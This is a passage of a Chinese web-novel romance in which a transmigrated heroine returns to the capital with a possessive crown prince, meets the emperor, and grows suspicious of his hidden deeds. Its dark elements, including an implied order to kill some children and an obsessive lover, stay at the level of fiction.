“前朝太子的妃嫔,便有假病被送离出京的。这件事,想来不难。”
沈木兮点点头,嗯,以北辰景如今的位置,想送个人离开,应该不会是个难事。
再说,她现在该担心的,是这点吗!难道不应该是担心到时候……他会不会**病又犯了!然后再把她给……沈木兮下意识看去对面的男人。
他沉静喝茶,整个人高贵又颇有气势。
瞧她看来,他也抬头,对着她轻浅一笑,仿佛又回到了少年时期的模样。
可沈木兮眉心却是紧了紧,她又想起,他曾经伪装骗过自己几**。
但她已经答应他要留下了。
总要给他一次机会吧。
再说她现在后悔又跑了,怕是会死的更惨吧……
沈木兮攥了攥手心,像是豁出去了,最后还是点了头。
“好,就这样安排吧!”
“那我……的出身那些……”
就算是从南下带了个妃子回去,也得有个出身和来历吧。
“嗯,这些会有些棘手,但孤会安排。”北辰景说着,又握拳开始咳嗽起来。
离阙要去端药,沈木兮已经先伸手拿了过来:“你们去休息吧,我来喂就是了。”
两人对视,恭敬退下。
“来,我喂你喝。”她像是以前一样,把蜜饯提前备好,然后眼睛认真晶亮,盯着他的每一口,直至他喉头做出吞咽动作,她才满意。
北辰景也是这样直勾勾看着她,眼底缱绻溢出的阴湿鬼气,在沈木兮看来时,又变成了平和。
但更像是得到了想要的安抚。
喝完药,离阙来到了北辰景的跟前,没有沈木兮在场,先前他的温和平静早已不见,只剩下了阴冷可怖,黑暗里,他坐在太师椅上,指尖撑着侧额。
“安排好一切了吗。”
“是,殿下。”
他满意地笑了,起身来到窗边,看着京城的方向,笑得诡谲。
“启程吧。”
那些阴暗,沾满污秽的事,由他来做就好。
她的世界,只需要灿烂如她的烈阳,和对他,毫无保留的宠爱。
……
回京的路,比沈木兮预想的更快。
犹记得当初随着薛家人南下,也是折腾了一个多月。
没想到,短短半个月,就赶回了京中。
一年多没回来,京城依旧是一片盛景。
回想着上回来京,她和他分散了,她还受了伤,都没好好看过这偌大京城。
此刻进京时天色已晚,盛京中灯火摇曳,繁华景象里,那宫灯辉煌的皇宫殿宇,正在京城尽头的夜色里熠熠生辉。
正探出头欣赏美景的沈木兮,突然想起什么:“对了,北辰殷有消息了吗?他不是和你分开走了吗。”
北辰景车内暗影里的眉心一瞬蹙起,他不喜欢她提起不相干的旁人。
唤错了人,就该受惩罚的。
他现在就好想狠狠罚她。
盛景灯火下,她那白皙纤长,细如折柳的脖子,他已经偷偷凝视了许久。
不知和上次尝她,是一样的味道吗?
可他更不想,让她眼底无忧无虑的雀跃之色消失。只能失落的隐忍下来。
“嗯,他已经提前回京了。”北辰景不轻不重地说。
“那就好。”沈木兮松口气。
又听他说:“明日进宫,见父皇。”
沈木兮刚松的那口气,瞬间又提起!
“明日!?”
“那么急吗?”
她都还没准备好。
好歹也是原文里的千古帝王,这位西越皇帝,在文中的描绘,可是颇
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具帝王威严和城府的。
沈木兮有点紧张。
北辰景握住她泛凉的手:“不怕,孤在。”
“他不会对你做什么的。”
他真的有一种特别能安定人心的魔力,在猎林时便是如此了,好像只要有他在,再大的风浪她都不惧。
沈木兮七上八下的心,慢慢沉静了下来。
“那我是不是要准备一些礼物?”
见家长不都得备什么见面礼吗。
更别说是帝王了。
北辰景不喜欢她这番为旁人着想的样子,即便那个人是他的父皇。
“把你不喜欢的东西,随便挑几样出来带去即可。”
“……”
本以为北辰景说的是玩笑话,没想到回了太子府,果真让人把沈木兮不喜欢的物件打包,准备明日送进宫。
沈木兮下巴都要掉地儿了。
真是孝死爹啊。
不过沈木兮也注意到了一个细节,北辰景和西越帝的关系,并不太亲近,难不成关系不好?还是老皇帝并不喜欢这个儿子?表面的关心和善待,都只是装的。
不然怎会允许北辰景四处树敌。
可惜原文对男二和身边人的描写,实在太少,她只知西越帝对夜王很是重用和信任,并不知道太多的事情。
若真像清鸢和离阙说的,在这偌大皇城里,都是北辰景的仇人,那他们的这份父子关系,必须得维持好。
是以,这一夜,沈木兮熬了个半夜,偷偷亲手做了个小礼物。
……
等了次日清早,沈木兮便要准备进宫了。
到底是进宫,穿着方面还是有讲究的,小芷早早的来给她换上了标准的宫装,梳了个流云髻。
换装完毕,北辰景已经在府门前等着她了。
他一身玄袍,长身负手立在飞檐下,衣袂随风舞动,深邃眉宇,宛若江山群黛。
这便是他长成的样子。
沈木兮突然有点欣慰,她真的,有在好好养他的。
北辰景闻声,回眸朝着她看来,狐狸眼在霞光下熠熠生辉,不再是带着黑暗色泽。
朝着她的方向伸出手。
“阿兮,等你。”
沈木兮笑着点头,提着裙摆,朝着他小跑而去。
可就在这时,一盆黑血,从府门外的方向,朝着北辰景的华袍上泼洒!
街上几个幼童眼神里,带着和年龄不相符的凶光,对着他大骂。
“恶毒的太子!你这个恶人,该死的恶人!”
“你怎么不**啊!”
第105章 做干净,别让太子妃发现了
**血飞溅在北辰景的侧脸上,几乎淋脏了他半边衣袍……屋檐阴影下,他眼底的璀璨光芒,瞬间被一抹极其狠戾的阴冷覆盖,怪异笑着。
离阙完全没注意到那几个玩耍出现的幼童,脸色骤变!
场面,也一度变得死静!
整个空气都因此凝固。
“景愿!”
沈木兮脸色大变的跑出来,上下打量他。
“景愿,你没事吧?”
她赶紧拿出绢帕给他擦拭,眉心紧皱。
心中更是无比震惊!
他在京中,当真过的这么惨?连几个孩童都在欺负他!
身后孩童的骂语,还在继续。
沈木兮转过身,往日待人随和的她,此刻眼神是少见冷得摄人:“谁家的孩子,快滚回去!哪里学的污言秽语,再不走,就去学院把你家夫子请来!”
说完她还冲几个孩童使了使眼色。
傻啊,快跑!
稚子无辜,是他们身后的大人不作为。
真让这些孩童在太子府门前出了事,北辰景身上的恶名怕是更重了。
不知是这个凶巴巴的女人吓到了他们,还是真担心找来夫子,几个孩童飞一般的溜了。
“走,我带你去换衣服。”
被沈木兮牵着进了府,北辰景眼底生出的戾色,这才缓缓平复,但始终带着四伏幽光。
进去时,他回头,冷冷睨了离阙一眼。
离阙了然,等沈木兮身影消失在府门,来到暗处,对手下说:“去查查,是谁花钱让这些孩童来的。”
太子连夜进京的事,是刻意隐瞒的。连西越帝王都还不知,谁这么早得了消息。
“还有,那几个幼童。”
离阙冷漠地做了个……手势。
暗卫们都很识趣儿的颔首。
“对了。”离阙又道,“做的干净些,别让太子妃发现了。”
“是。”
等沈木兮带着北辰景去换了身衣服,重新出发,已经又过了半个多时辰。
太子府门前的马车,朝着皇宫的方向缓缓行去时。
无人所见,一道暗影,正藏匿在街巷里,霎时被流动的人群淹没其中。
……
沈木兮昨日进京太晚,等到了太子府时,更是已经很迟了。
她只大致看到那太子府很是奢华有格调,四处雕梁画栋,看起来不错。
但今日上了街,才知道太子府离皇宫有多远。
这皇帝老儿,故意把太子府弄到这么远的地方么,这是多不待见孩子。
难怪北辰景和他不亲近,她都看不下去了。
再想着连孩童都敢欺负他,这次回宫后,沈木兮心中的愧疚感,是蹭蹭蹭的往上涨……默默的郑重反思。
于此时,皇宫。
御书房。
太监总管周福宁,几乎是连滚带爬的,从宫廊上着急跑来了御书房。
“陛、陛下!”
说完最后那个字时,他几乎是狠狠砸了御书房的大门,跌趴在了地上。
金碧辉煌的御书房里,如今已年过五十,却风采依旧的西越皇帝北寅焱,身穿明黄龙袍,单手负于身后,长身站立在桌案前。
北寅焱年轻时,也是个美男。
现在上了年纪,更是多了些成熟男人的稳重和风华,不过岁月并没有在他的俊美面庞上留下过多的痕迹,唯独的那几道眼角褶皱,都好似仅是他的陪衬。
他眼神倨傲,深褐色瞳孔扫来的那一瞬,不怒自威,语调悠长又带着帝王的威压。
“何事,惊慌成这样,朕看你的脑袋也不想要了。”
周福宁则是满脸喜色!
“是太子,太子回来了!已经在进宫来见陛下的路上了!”
啪。
北寅焱手里的狼毫金笔,应声断裂。
方才还颇具天子沉稳威严的脸,瞬间被惊讶和喜色堆满!
北寅焱从桌案后大步走出,一脚踹去地上跪趴着的周福宁:“没用的奴才!太子回来了,不早给朕说?都进宫了才说,朕都没有好好准备准备。”
“来人,快点来给朕梳洗更衣!”
周福宁说:“
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陛下别急,太子还在路上。”
北寅焱没好气地瞪他。
“你当然不急,又不是你儿子回来瞧你了!”
呃,陛下……他倒是想有儿子啊。
等了这么久,景儿总算愿意从南下回宫,第一件事还是来看他老子。
西越帝倍感欣慰,转身看去御书房里,挂着的那一幅先皇后的背影画像。像是第一次从北辰景身上感觉到了难得的父子之情,感动得眼圈都红了。
要知道,之前那小子,可是连一句父皇都不肯多唤的。
周福宁想起什么,脸色一变,又道:“对了,陛下,太子进宫,还带了一个人。”
“何人。”正在穿衣的北寅焱不耐烦的说。
“是一个女子,听传信的人那语气,像是太子殿下,从南下,亲自选来的太子妃。”
北寅焱激动的神情,顿时一变,眼底那属于帝王的气场和威慑,又瞬间席卷而来,侧头眯眼问:“太子妃?”
真是他的好大儿,选妃选妃,果真选了个带回来!
北寅焱当然是不高兴的,寻常的百姓女子,怎配得上他的太子。
可偏偏是北辰景亲自带回来的,又带进了宫。那即便自己不喜欢,也得亲自去过过目。
但审判什么的,不能少。
他倒是要看看,这是个什么样的女子,能让那小子看上了去。
御书房人多,北寅焱让人传消息,把北辰景带去了自己的寝殿景和宫候着。
等他更衣完毕,便迈着激动的步子,飞奔一般朝着寝殿去了。
飞奔了一路,因为着急,半路龙靴都跑丢了。
可等到了景和宫外,北寅焱又停下步子,故意一番沉稳冷静的模样,理了理衣服,咳嗽了声,让人先去打开殿门。
好歹是老子,怎么也得在儿子跟前端着。
不过西越帝再怎么伪装,那眼中的喜悦和激动,却是遮掩不住的。
殿门一开。
门外红墙绿瓦的光影,携着这位千古帝王的高大身躯,一步步而来……
第106章 皇家式见家长
听到身后的声音,和那股属于帝王的威压,紧张了一路的沈木兮,心惊战胆的转过身。
她怎么不怕!
这可是天子啊,稍不留神,就能掉脑袋的。
北辰景感觉到了她的不安,伸手握住了她略显冰冷的柔荑,像是她在府门前挡在孩童跟前护着他一样。
他也抬步,站在了她的跟前,挡住了帝王那审视而来的逼人冷光。
同时,也按住了她的要行礼的动作。
她行什么礼。
她那精巧细嫩的双膝,只能跪在他的身前腹下,与他低吟。
北辰景阻拦的动作,全然落入了西越帝的眼中。
他带着岁月痕迹的凤眸凌冽眯起,心中低骂:真是没出息,拿个女人拿捏!女人比老子还重要了?
但他冷肃平静的面容上并看不出喜怒,不动声色大步进了景和宫。
北辰景不让她见礼,可沈木兮不敢啊!
她还是福身作了个揖。
“民女见过陛下。”
“起来吧!你的礼,朕可不敢受。”
啧……一来就夹枪带棒,果真和北辰景关系不好。
沈木兮乖巧站直身子,这才抬头看清了西越帝的容貌,她忍不住叫出了声!
“啊!”
北寅焱:“……”
这反应也引得北辰景的轻微侧目,不过他只是轻挑眉,什么也没做,依旧保持着护着沈木兮的动作。
沈木兮眼睛睁得大大的,好像不敢相信。
“您……真的是陛下吗?”
旁边的周福宁一脸没眼看,哪里来的贱民,这么没规矩。
北寅焱对沈木兮的印象,也从无,跌成了负数。
沈木兮连忙规整神色,一副感叹的样子,抱着双手说:
“还请陛下饶恕民女一时失态,只因民女第一次见陛下,曾经在民间听闻西越君主是难得的千古名帝,是西越的天,西越的根基。”
“民女便愚蠢的以为,能治理好这么大的国家,还能有这般源远流传的圣名,当今天子,应是已有四五十的年岁。”
“现在看,陛下如此盛颜,当是仅三十出头吧?”
她长叹一口气,一副传言误我的样子。
北寅焱:“……”
其实沈木兮真没撒谎,虽然表演有夸大的成分,但西越帝真的比她想象中俊美年轻,说是北辰景的哥哥也信。不过也不奇怪了,能生出北辰景这样的妖物,老子又能丑到哪里去?
北寅焱能坐上这个位置,什么奉承的话没听过。这些话,早就不知听了多少。
还真是个嘴皮子溜的小姑娘,难怪能把他的太子哄骗去!
他心中很是不屑,但那冷硬严肃的嘴角,却有了松动上扬的迹象。
沈木兮又小心翼翼凑来,既认真,又很八卦:“臣女有个问题,敢问陛下生太子殿下的时候,是不是十**到啊?”
明明是很冲撞的话语。
但被她用这张,对砍脑袋之事完全弃之脑后,满脸都是求知欲的单纯小模样说出。
却是难得引得这位在人前不苟言笑的帝王,有了一丝忍俊不禁。
他随后重重哼了声,那双完全是北辰景狐狸眸的翻版细长凤眸,直直越过沈木兮,看去了他这个儿子。
“太子见到朕,不见礼吗?”
北辰景没动作,也没说话。
北寅焱的眉宇皱起,明显不悦的凤眼深处,露出几许失落。
沈木兮感觉出了父子两人之间的微妙关系,她又站了出来:“陛下,太子是记挂您的。”
“在南下的时候,就曾给民女讲述过不少关于陛下的英勇旧事。”
“这不,昨日回京晚,没备好进宫的礼物,太子和民女便一起准备了这个。”
北辰景:“?”
他狐疑地看去沈木兮从怀中摸出一个荷包。
难怪今早看到她眼下一片乌青,竟是背着他给那老头子做东西?
他的眼神从一开始的宠溺,到嫉妒和委屈……这样的东西,她都没给他做过。
荷包是京中常见的样式,但下面挂着的那个红绳结扣,却有些特别,别说京中人,连北寅焱也没见过。
沈木兮乖巧地用双手把东西递上前。
“陛下,这个穗结叫合家结,是民女老家的祝愿,代表
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着家庭和睦,团圆美满。”
北寅焱因太子的冷漠而落寞的眼神,在看到那合家结时,有了一瞬的动容。
他哪里不知道,那臭小子是不会在旁人面前夸自己的,更不会做这样的东西给他。可这小小女子,为了缓和他们父子二人的关系,却敢撒这样的谎。
在高位上坐得久了,见惯的都是血雨腥风,人也习惯性的冷肃和漠然。
而这种小小的东西,却是能触及刚毅外表下,人心最柔软的地方。
这让北寅焱第一次正眼打量了这个丫头。
嗯,单论长相的话,是不错,皮肤白净,眼睛晶亮。说话也有条不紊,虽带着对他的胆怯,但一点也不怯场。
“周福宁。”北寅焱递了个眼神。
周福宁转身准备接过那合家结。
却被人先一步捷足先登。
玄色袖袍一过,沈木兮手里的东西,已经被落入身侧男人手里。
同时他也抬步站定在她跟前,抬起未有半分色泽的幽眸,看着前方的西越帝。
“这样的小物件,父皇是不会喜欢的。”
说话间他手心翻转,口中那才被他嫌弃的‘小物件’,就这样稳稳的滑进了他的袖下,再也没了踪影。
北寅焱倒没生气,只是平视着北辰景淡漠的眼神,心中叹了口气。
太子,还是怨他的。
他没说合家结的事了,抬起冷厉凤眸,看去了无时无刻都在被这小子护着的沈木兮,神色严肃,目光里也多了一些审视:
“你叫沈木兮,是吧。”
“嗯,太子把你作为太子妃,从南下带回来,你也愿意为了太子背井离乡,孤身来京。想来,你们是两情相悦的。”
帝王审视的眸光,越发的冷厉和深邃。
“那朕便问你,你为什么会喜欢太子,又喜欢他什么。”
此话一出,方才一直站在帝王对立面,维护着沈木兮的北辰景,此刻却是眉梢微动,往旁挪了一步,勾着一丝湿红的眼尾也缓缓落在了沈木兮的身上,眸光深切。
好似,他也想要一个答案。
沈木兮:“……”
第107章 真情“告白”
不是!尊重的皇帝陛下,这题超纲了吧?
沈木兮昨夜冥思苦想。
甚至还幻想过,西越帝冷脸直接甩褚几千几万两银子,让她离开太子,她该怎么表现得视金钱如粪土……没想到,她押错题了!
景和宫里的无数双眼睛,都盯在她身上,这让沈木兮只觉头皮发麻。
“怎么,你难道不喜欢太子?”北寅焱没听到她的回答,眼神微冷。
北辰景的目光也深邃了几分。
沈木兮深呼吸一口气后,再抬头时,却是微皱眉头,语气轻缓地反问:“民女想问陛下,喜欢上太子殿下,难道是一个很奇怪的事吗?”
这把北寅焱问住了,他是当爹的,又心有愧疚,当然会无条件的宠爱。但并不代表,**太子在京中做过的事。
以及那些令人胆寒的名声,都很难让人相信,会有人喜欢上太子本人。
应该说,是没有胆子去喜欢!
沈木兮再次直言说:“太子长得这么好看,地位也高,民女为什么不喜欢?”
她的坦诚和直率,让北寅焱笑了。倒真是一点也避讳。
“或许早年间,太子流落在外之时,遭受的伤痛,让他有了和常人不一样的性格。但这并不是他的问题。”
“相反,这是那些施暴者的原因。”
“若是因为这般,就把他的所有给否决了,岂非太过分?再者,太子本身就很优秀,这是肯定的。能在那么艰难的日子里,还能一步步活下去。这样的人,难道不应该被人钦佩和仰望吗?”
起初,沈木兮的慷慨陈词,是为了敷衍帝王。
可说到后面,让她想起了曾经在江州的日子,眼神微动,不自觉间有了点真情流露。
她抬起温和微笑的眼眸,和正在直勾勾紧盯着自己的北辰景对望,她笑得更深了,望着他真切地说:“他只是太缺少温暖和身边人的疼爱了。可这怪不得他。”
“况且,民女也觉得不是非要让全天下的人认可。他就是他,冷漠不近人情也好,不被天下人认可也罢。他只要是高兴的,开心的,一切……便都好。”
都好……
说到最后一个字,沈木兮字句里多了一丝颤音,带着笑的眼眸里微微发红。
景和宫里瞬间一片死静。
北辰景好像呆住了。
那一双暗冷阴湿的狐狸眼,也变得溜圆,像是少年时一般,直直的,只盯着她,盯她一人。
最后,还是高位上的帝王打破了这一瞬的宁静。
“好了,朕问你为什么喜欢太子,你答得都是些什么?”虽然依旧是冷肃不悦的语气,但不难听出,这位帝王话语里藏着的颤抖,和他冷厉凤眼里的红光。
北寅焱再次看去沈木兮,这一眼,极深。
“行了,你退下吧,朕有话要单独和太子说。”
北辰景眼神已经恢复,他眉心紧拧,似乎是不想让沈木兮离开自己的视野。
感觉到他身上气息微冷。
沈木兮走过来,捏了捏他的手,小声说:“没事,你和你父皇好好说,我就在外面等你。”
她抬头看他,还朝他眨了眨眼睛。
北辰景周身冷戾之色微退,双唇紧抿,虽然不太乐意,但为了让这个老头子答应留下她,也得先适时先足给他面子。
“好。”他点头,“别走太远。”
言辞里带着他的固执。
沈木兮轻笑颔首,又朝北寅焱福身后,这才退出了景和宫。
厚重的殿门遮掩下里面那对帝王父子的身影,出来的沈木兮也悄然松一口气。
总算是混过去了。
不过,这个西越帝,看起来并没有她所想的那么冷漠疏离。
若他根本真不在意北辰景,他也不会问自己那些了。
这一瞬的后知后觉,让沈木兮刚平稳下的心绪,又生出几分异样感。
眼前一座座皇宫殿宇林立,看起来是很巍峨雄伟,可冷风吹来,却只给人一种刺骨森冷的惊惧感。
她的眉心也越皱越紧。
说起来,这次回京的感觉,很是古怪。
怎么古怪呢,她一时也说不清楚。
好比如,回京已有两日了,怎么没听到夜王的动静,甚至连他的人也没看到。这不像是夜王的作风,真知道太子回来,他会没点动作?
真是奇怪。
殿外的风儿越发的冷。
沈木兮微微环胸裹了裹身子,朝着宫廊下遮风的地方走去。
怕他找不到自己,又在前面的小花园里找了个醒目的位置站定。
等了有一会儿,北辰景还未出来,沈木兮有些百无聊赖。
想在附近
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观赏一下皇宫景致,但是路不熟,她便问过路的宫女,四周有没有什么观赏的亭台楼阁。好不容易进次宫,也得过过皇帝瘾。
可那宫女一见到她,却像是看到了什么很可怕的东西!
身子后退,脸色煞白,手里的托盘都掉地了。
沈木兮蹲下身打算帮她们捡,她们吓得连滚带爬,连东西都不要了,直接跑了。
跑得远了,另外一个宫女才问。
“咱们跑什么啊。”
“你不知道她是谁吗,是未来的太子妃!”
太子……妃!
仿若想到了更恐惧的东西,那宫女神情惊恐。两人一个比一个跑得快。
只剩下沈木兮在原地呆若木鸡。
她很吓人吗?
在她满心困惑时,身后假山,传来轻微的脚步声。
沈木兮眼神一变,皇宫里也有人鬼鬼祟祟?
她故意在那人出现之时,侧身避开。
前面正好是一个湖泊,她抬脚便冲那人屁股一踹!
淹不死你丫的,宫里也想搞事!胆子真肥。
可一看清那一闪而过的人影,沈木兮面色一怔,眼熟,甚是眼熟。
“哎呀!”
她定睛一瞧,赶紧一把抓住对方后领,在他要掉进湖里时,把人拎了上来!
“北辰殷,你偷偷摸摸的干什么呢?”
许久不见这小子,怎么还是那么莽撞。
北辰殷看着眼前真切的她,却来不及叙旧,而是抓紧了她的隔壁,紧张地问:“你是和北辰景回来的吗?你竟和他相认了?”
果真是她,今早在街上看到,她从太子府里出来,差点以为看错了!
沈木兮点头:“是啊,怎么了?”她敏锐觉察到,北辰殷的不对劲。
他很是着急的样子!
“你快……”走!
最后那个字,还没说出,北辰殷看到了她身后的谁,眼神陡然一变,当即丢开了抓她的手!
沈木兮还未回头,那道极致黑暗的玄袍背影,就已经站在了他的身前,冰冷指尖,牵起了她的手。
和他身体的鬼气森寒截然相反,他的语气十分轻柔。
“怎么跑来了这,孤不是,让你在景和宫外面等的吗。”
不是责备,只是担忧的询问,可沈木兮身后却是莫名起了一阵寒栗……
第108章 怪异的忱王
反应更大的,是对面的北辰殷。
他神色里带着惊惶,下意识往后退了两步。
“北辰景,我只是和她叙叙旧,你别……误会……”
“孤有和你说话吗。”北辰景没看他,眼神平静却又带着一股子阴冷。
北辰殷双唇紧抿,不再说话,却也没有走,看着沈木兮的眼神依旧很担心着急!
他怎能不急呢。
现在看到在皇宫里的沈木兮,就让他想起那一年,他和北辰景一起把她的“尸体”带回来后……北辰殷偷偷在当时的东宫窗外,所看到的一幕!
他把尸体带回后放在床上,陪同尸体睡觉,给尸体梳头,给她穿衣……
当时殿宇黑暗里,北辰景的眼神,殷切、深情,却又带着更可怕的色泽。
轻轻,又冷幽地说:
“你永远都逃不掉的……永远……”
那一幕,至今都令他胆寒和头皮发麻!
也是北辰殷这辈子都忘不了的可怕场景。
连对个尸体都是这样,他很难想象,面对尚活着的沈木兮时,北辰景又会做出怎样的事!
奈何北辰景突然出现,北辰殷想说也不敢说。
真是,这个女人,干嘛回来啊!
四周冷风加剧,感觉出现场氛围的不对劲,沈木兮握住北辰景的手,挡在两人之间:“景愿,我没事。”
一声景愿,让北辰景面上的冷意退却些许,但眉宇间依旧带着不善。
“九皇子,下次有机会,我们再叙旧。”沈木兮转头,对北辰殷递了个眼神。
北辰殷看去北辰景,咬了咬唇,终究还是先强忍了下来。
“嗯,我们下次再聚。”
今日说不得,那他就换个法子去告诉她。
他人离开,四周的凌冽的风声,好似才停息,可北辰景眼底的幽冷色泽,没有半点消退,甚至还别过身。
他好像是生气了。
生她的气。
沈木兮走过来,在他手心里挠了挠:“哎呀,别生气嘛。我也没有走多远啊,那边风大,我才过来的。”
“你瞧,我这都被冻成鬼了,啊呜!”
为了逗他高兴,沈木兮还故意扮了个丑**的鬼脸,凑到他的跟前。
也不是说,沈木兮非得迁就顺从北辰景。她知道他已经变了,想趁着他如今尚且还有些“人性”之时,去尽量制止他做出不该做的事,不要伤害无辜的人。
北辰景眼神平静,默默看着她扮丑逗弄他的模样。终于,他眸中的冷意,变成了一丝幽怨。
“你说过,不离开我的。”
“好好好,听你的,下次不乱走了。”
翻涌的妒忌,化作掌心下,被她勾挠出的万千虫蚁。
他的阿兮,到底知不知道,这个动作,是在点火?
北辰景反手按住她的手,下一瞬已经揽上她的腰肢,将她往自己怀中抵来。
“吻我。”
命令又带着索取的语气。
沈木兮:“?”
北辰景的眼神瞥向不远处的景和宫。
“父皇在看着我们。”
沈木兮侧头一看,果真见景和宫的殿门微敞,里面隐隐可见人影闪动。
北辰景低头朝她挑眉,那仿若要醉在她身上的狐狸眸里带着点小心嗔意,给他添了一丝美人娇感。
……好吧。
都假扮太子妃了,有些时候,是要做点牺牲。
沈木兮咳嗽了声:“那个,你下来一点,我够不到。”
这家伙的身量实在太高,她即便踮脚都不行。
他听话的俯下身。
沈木兮别扭地仰头,梗住脖子,在他唇边落下一个吻。
唇瓣相触,这次是沈木兮微愣。
和上次被他受伤时强吻的感觉很不一样,轻轻的,软软的,好似他的唇比她的还要娇嫩。让她一瞬失神。
“可……可以了吗?”她不敢动,抵在他唇边,小声地问。眼神偷瞄着景和宫的方向。
见那边殿门后的人影像是已经退去,她正打算收回。
却被他反堵住。
沈木兮眼睛瞪大:“你……”
“傻瓜,父皇可不是傻子,装得像些。”
北辰景露出不悦的神情,带着方才未消的妒忌,惩罚一般对着她的唇狠狠碾磨,不留余地。
沈木兮是想反抗的,可很快就被迫带进了他的酥麻里……
他那冷白修长的指腹,从她的腰间慢慢延去。
所经之处,卷起她浑身颤栗。
面前女人如醉红的脸,让他眼神迷离。
可,这还不够。
他好想,就此虔诚跪伏在她身前,品尝她那独一无二的甘甜,仰头将最纯净无暇的自己奉与她。
等沈木兮失力地瘫在身后的石头上,她才惊觉,自己这是在皇宫里!四周都是人!
瞬间清醒了大半。
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>低头一看,才发现自己衣裙已经散开,全然是被他狠狠捉弄后的痕迹。
“景愿,别……别再继续了。”已经软得不行的沈木兮,用尽此刻最大的力气推开他,刚出声才发现,她的声音竟是自己从未听过的娇嗔和软咛。
她被吓坏了。
北辰景红唇一勾,将脸色大变的她带入自己的袍下:“好,出宫吧。”
不能把她真的吓到了。
宫道上的冷风,才让沈木兮冷静下来。
她一路都没说话,除了是觉得丢人。还因为,她突然发现,方才那被他捉弄的滋味……竟该死的,并不致让她反感!
为什么?
她好像,从来没深思过这个原因。
真是要了命了。
也因此,沈木兮的脸色,越发的苍白,心里乱如一锅粥。
以至于她没有发现,从方才两人“独处”后,四周就无人了,即便是有人经过,都是带着对身侧之人的惊惧和避之不及。
直到,要到了宫门时。
一句恭敬的**声,从前方传来。
“见过忱王!”
绵延的宫道尽头,一道陌生的男人身影,出现在了沈木兮和北辰景的视野里。
也因为方才的**声,沈木兮此刻已经收拢了些神智。
忱王?
沈木兮回忆着原文中的人物,对这个忱王,却是一点印象都没有。
待走的近了,才看清此人的面容。
眉目间和西越帝有些三四分的相似,只是相比较北寅焱的冷肃威慑,这个稍微年轻一些的忱王,更多了一些忧郁清冷。
北辰景看出她的困惑,上前挡住她看旁的男人视线的时候,出声为她解惑。
“他是我父皇的皇弟。”
那不就是北辰景的皇叔了。
可是沈木兮当真没有半点印象,书里完全没说过这号人物。
忱王和北辰景打了个照面。
沈木兮本以为,北辰景在宫里为人已经够冷漠疏离了,没想到这个皇叔忱王比他还要清冷更多。
忱王只是对北辰景轻微颔首,既没有像其他人一样,对北辰景表现出该有的畏惧胆怯,也没有多少叔侄间该有的亲近。
两人只是相视一眼,便各行各的。
沈木兮皱了皱眉,忍不住回头看去已经走了的忱王。
心中,那许久没有悸动过的第六感,突然让她生出一阵怪异的感觉。
第109章 阴湿厉鬼,真正的他
北辰景再次挡住她,语气里多了些幽怨阴冷。
“他是不是,比我长的好看。”
当真是要把她杀了,剥皮牢牢挂在自己身上,寸步不离,她的眼中才容不下旁人吗。
沈木兮回神,无奈道:“你说什么呢,当然是你好看,再说了,他是你皇叔,那比我不知道大多少岁?我只是很好奇,好像一直没听过关于他的事迹。”
北辰景听出她话语里对忱王年龄的嫌弃,他的嘴角雀跃扬起。即便知道她是故意这样说的,那她也是愿意哄骗他,如此就好。
“嗯,他和其他天家的人不亲厚,只和父皇有交情。”
难怪了。
但不得不说,这些西越天家的男人,怎么都或多或少带着些阴气。
只是忱王的阴气,更像是一种刻意的清冷疏离,和北辰景的鬼气阴郁不一样。
转头再看北辰景,沈木兮觉得,他能养成这样的性子,或许也不全是后天因素。
说起亲王,回去的路上,沈木兮又问起了夜王。
这一次,是试探。
出宫的时候,那些守卫和奴才对北辰景的畏惧和胆怯,她看在了眼里,加上夜王的“消失”,让沈木兮多了些其他想法。
北辰景神色淡淡的,只说:“他病了。”
是吗。
沈木兮没再多说了。
可是心里的猜忌和狐疑,却没有完全消失。
回了府,沈木兮说自己累了,想回去休息。
北辰景没有阻拦,目送着她回了院子,转身时,他眼神已经变得幽光四伏。
“是谁把北辰殷放出来的。”
被他盯住的离阙等人,当即跪了一片。
“属下等也不知,那现在属下就去把九皇子……”
“她都见到了,还做什么。”
继续关着他,她只是更加怀疑。
旁边的清鸢担忧道:“殿下,属下见太子妃方才的样子,心事重重,怕是今日进宫,让她心里生出了些想法。”
北辰景当然知道,她心思敏锐,很多事情是瞒不过的。
他也没想瞒着。
“由着她就是了。”
他不会困住她的想法,也不会将她囚禁在自己的世界里。
只有给足了她的一切自由。
她才不会妄想逃离。
是以,等下午时,沈木兮说自己想出去走走,太子府的人并没有拦住,只安排了小芷陪同。
听说北辰景是有事出去了,并不在府,沈木兮稍且安心。
不是沈木兮有意避着他,能不惊动他,那是最好。
说是在府中无趣,出门走走,小芷也没多问,由着沈木兮让车夫在京中四处走动。
等到走到离夜王府不远的街巷,沈木兮叫停了马车,说要去附近的商铺转转。
如离阙他们猜测的,她的确怀疑了。
北辰景是怎样的人,其实,她比谁都清楚。他能骗自己一次,或许也能伪装继续骗过她两次。
沈木兮只想要一个结果。
也能让她留在京中,更安心些。
小芷没有阻止她在夜王府四周走动,还贴心地带她去往附近热闹的商铺。
等到来到夜王府斜对面,沈木兮佯装无意,走到了对面的茶铺暂且歇下。
这时,一辆马车从不远处驶来。
沈木兮一眼认出,那是夜王的车。
该说不说,无论是如今几分萧索凋零的夜王府,还是夜王马车给人的气场,都不如以往了
果真是太子回宫,夜王即便没去沧州,地位也受到了波及。
从府中出现迎接夜王的人,正是那熟悉的夜王心腹冷刃。
因为角度,沈木兮没看清夜王的正脸。
只看到从车内下来的男人侧影。
的确是记忆里夜王的模样,只是侧脸看着,像是更消瘦了些。
看来夜王这一年来,不太好过啊。
旁边给沈木兮倒茶的茶铺老板,看着外面的夜王身影,低声说了句:“果真是三十年河东三十年河西,这夜王啊,几个月前,得了一场重病,在府中卧病许久,手中权势也被剥走大半。”
“这一病,当真是地位不如当初了呀。”
旁边有人搭腔。
“那不是应该的吗,太子回宫,那才是正统。”
另外有人调侃:“你不会是外地的吧,不知道近段
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时间发生的事?咱们这位太子,也不是个好人。”
听到这,沈木兮的耳朵登时竖起。
但可能是说到了京中最具令人闻风丧胆的人物,比方才提及夜王时,众人的脸色还要可怕,都不敢多言了。
沈木兮默默喝完了茶,带着小芷离开了。
回去的时候,她突然想起什么自己东西落下了:“哎呀,我这记性,我去茶铺拿。”
小芷不露痕迹的挡在她跟前。
“哪能由未来的太子妃去,自然是奴婢去的。”
沈木兮盯着她,笑得意味深长。
“好,我先回马车等你。”
小芷走后,沈木兮脸色顿时冷了下来。她料到小芷是北辰景安排守在自己身边的人,但见对方如此防备,她的眉心还是略略皱起。
他其实并没有变,只是,最可怕的那一面,还没出现在她面前而已。
这点沈木兮很清楚。
